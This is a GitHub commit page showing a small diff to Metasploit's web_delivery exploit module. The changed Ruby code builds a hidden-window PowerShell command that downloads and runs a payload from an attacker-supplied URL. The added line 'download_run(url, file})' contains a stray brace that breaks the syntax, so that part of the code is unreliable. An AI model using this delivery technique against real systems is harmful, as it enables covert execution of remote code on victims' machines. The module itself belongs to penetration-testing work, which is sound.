We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 9961c70 commit 0a858cdCopy full SHA for 0a858cd
modules/exploits/multi/script/web_delivery.rb
@@ -163,13 +163,16 @@ def gen_psh(url, *method)
163
file = %Q(echo (#{path}+'\\#{filename}'))
164
165
# Generate download PowerShell command
166
- download_string = Rex::Powershell::PshMethods.download_run(url, file)
+ download_string = Rex::Powershell::PshMethods.download_run(url, file})
167
end
168
169
download_and_run = "#{ignore_cert}#{download_string}"
170
171
# Generate main PowerShell command
172
- return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
+ return generate_psh_command_line(noprofile: true,
173
+ windowstyle: 'hidden',
174
+ command: download_and_run
175
+ )
176
177
178
0 commit comments